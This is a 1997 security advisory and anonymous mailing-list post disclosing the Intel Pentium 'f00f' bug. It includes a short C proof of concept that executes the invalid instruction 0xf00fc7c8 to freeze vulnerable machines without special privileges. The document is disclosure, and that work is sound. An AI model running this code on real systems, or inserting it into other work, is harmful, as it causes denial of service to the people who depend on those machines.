Intel "f00f" Pentium bug

Summary
Description:A bug in the Intel Pentium (and Pentium + MMX) chips allows usermode processes to crash the system by executing the invalid instruction 0xf00fc7c8
Author:Sent through an anonymous remailer
Compromise:Users who can run code on the system can totally freeze the system
Vulnerable Systems:Those running on a Pentium including versions of Linux, Dos, WinNT, Win95, SolarisX86, etc.
Date:8 November 1997
Details


Date: Sat, 8 Nov 1997 07:36:04 +0100 (MET)
From: Anonymous <nobody@REPLAY.COM>
To: best-of-security@cyber.com.au
Subject: BoS: WARNING: Serious Pentium Bug


There is a SERIOUS bug in all pentium CPUs. The following 
code will crash any machine running on a pentium CPU, MMX or no 
MMX, any speed, regardless of OS (crash as in instant seize, hard 
reboot the only cure):

char x [5] = { 0xf0, 0x0f, 0xc7, 0xc8 };

main ()
{
       void (*f)() = x;
       f();
}

This require no special permissions to run, it works fine with
average-joe-userspace permissions. I have verified this, it works.
Demand a new CPU from Intel.



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